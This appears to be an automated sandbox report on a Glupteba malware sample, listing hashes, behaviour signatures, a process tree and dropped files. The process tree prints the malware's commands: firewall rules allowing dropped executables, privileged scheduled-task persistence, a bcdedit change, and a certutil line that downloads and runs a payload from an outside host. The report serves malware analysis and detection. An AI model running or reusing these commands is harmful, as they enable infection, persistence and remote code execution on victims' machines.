Analysis

  • max time kernel
    154s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/05/2024, 17:01

General

  • Target

    2af74f33891aed0d10ac3cf9057b99c3_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    2af74f33891aed0d10ac3cf9057b99c3

  • SHA1

    8fd7a545592a4dc50bb587dd046ff01faf72ab06

  • SHA256

    5e79efde3a63f495a3fe8b1ec0a3e503ee519f8cb64839774a23eac65517fe95

  • SHA512

    d58d2cbc1dea05120a4a2d9dd0ba46003999fa40ceb8ed96efaf101bbdb03a04bec0e41c4de7bd8db305524a2746c4da29ebd1d361d2abde8e2d253440f4d63b

  • SSDEEP

    98304:KMXNQjosd8lEFjNd4ZnqjLv+gUhfE9G1GAEo:KMXNgd4ZnE+XtGA

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2af74f33891aed0d10ac3cf9057b99c3_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2af74f33891aed0d10ac3cf9057b99c3_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2024
    • C:\Users\Admin\AppData\Local\Temp\2af74f33891aed0d10ac3cf9057b99c3_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\2af74f33891aed0d10ac3cf9057b99c3_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1560
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4580
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34\11bb71ef4e34.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3028
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34\11bb71ef4e34.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:2900
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3584
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:4708
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:4732
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4020
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1824
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1652 -s 788
        3⤵
        • Program crash
        PID:1468
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2024 -s 836
      2⤵
      • Program crash
      PID:4484
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2024 -ip 2024
    1⤵
      PID:1624
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1652 -ip 1652
      1⤵
        PID:4244
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1344 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:3800

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

                Filesize

                1.7MB

                MD5

                13aaafe14eb60d6a718230e82c671d57

                SHA1

                e039dd924d12f264521b8e689426fb7ca95a0a7b

                SHA256

                f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

                SHA512

                ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

              • C:\Windows\rss\csrss.exe

                Filesize

                3.8MB

                MD5

                2af74f33891aed0d10ac3cf9057b99c3

                SHA1

                8fd7a545592a4dc50bb587dd046ff01faf72ab06

                SHA256

                5e79efde3a63f495a3fe8b1ec0a3e503ee519f8cb64839774a23eac65517fe95

                SHA512

                d58d2cbc1dea05120a4a2d9dd0ba46003999fa40ceb8ed96efaf101bbdb03a04bec0e41c4de7bd8db305524a2746c4da29ebd1d361d2abde8e2d253440f4d63b

              • memory/1652-10-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/1652-17-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/1652-11-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/2024-6-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/2024-1-0x00000000037E0000-0x0000000003B8A000-memory.dmp

                Filesize

                3.7MB

              • memory/2024-9-0x0000000000400000-0x0000000000B10000-memory.dmp

                Filesize

                7.1MB

              • memory/2024-7-0x0000000003B90000-0x0000000004286000-memory.dmp

                Filesize

                7.0MB

              • memory/2024-5-0x00000000037E0000-0x0000000003B8A000-memory.dmp

                Filesize

                3.7MB

              • memory/2024-4-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/2024-3-0x0000000000400000-0x0000000000B10000-memory.dmp

                Filesize

                7.1MB

              • memory/2024-2-0x0000000003B90000-0x0000000004286000-memory.dmp

                Filesize

                7.0MB

              • memory/3584-23-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-22-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-24-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-25-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-26-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-27-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-28-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-29-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-30-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-31-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB

              • memory/3584-32-0x0000000000400000-0x0000000003181000-memory.dmp

                Filesize

                45.5MB